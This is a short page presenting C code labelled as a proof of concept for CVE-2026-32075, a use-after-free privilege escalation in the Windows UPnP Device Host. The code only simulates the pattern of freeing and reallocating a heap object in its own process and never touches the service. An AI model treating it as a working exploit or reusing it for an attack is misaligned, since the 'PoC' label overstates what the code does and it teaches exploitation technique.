CVE-2026-32075 Windows UPnP权限提升漏洞

/* * PoC for CVE-2026-32075 (Use After Free in Windows UPnP Device Host) * This is a simulation of the UAF vulnerability logic. * Compile with: cl.exe poc.cpp */ #include <windows.h> #include <stdio.h> // Mock structure to simulate the vulnerable object typedef struct _VULN_OBJECT { DWORD FunctionPointer; DWORD DataBuffer[0x10]; } VULN_OBJECT, *PVULN_OBJECT; void TriggerUAF() { PVULN_OBJECT pObj = (PVULN_OBJECT)HeapAlloc(GetProcessHeap(), 0, sizeof(VULN_OBJECT)); if (pObj) { printf("[+] Object allocated at: %p\n", pObj); pObj->FunctionPointer = 0x41414141; // Legitimate function pointer // Step 1: Trigger the free in the service (Simulated) printf("[*] Triggering object free...\n"); HeapFree(GetProcessHeap(), 0, pObj); // Step 2: Reallocate the memory to control the dangling pointer PVULN_OBJECT pFakeObj = (PVULN_OBJECT)HeapAlloc(GetProcessHeap(), 0, sizeof(VULN_OBJECT)); if (pFakeObj == pObj) { printf("[+] Successfully controlled the freed memory at: %p\n", pFakeObj); pFakeObj->FunctionPointer = 0xDEADBEEF; // Malicious payload address } // Step 3: Trigger the Use After Free (Vulnerable code dereferences pObj) // In a real scenario, this would be inside the UPnP service printf("[*] Triggering Use After Free...\n"); // This would crash or execute code: pObj->FunctionPointer(); } } int main() { printf("CVE-2026-32075 PoC - Local Privilege Escalation via UAF\n"); TriggerUAF(); return 0; }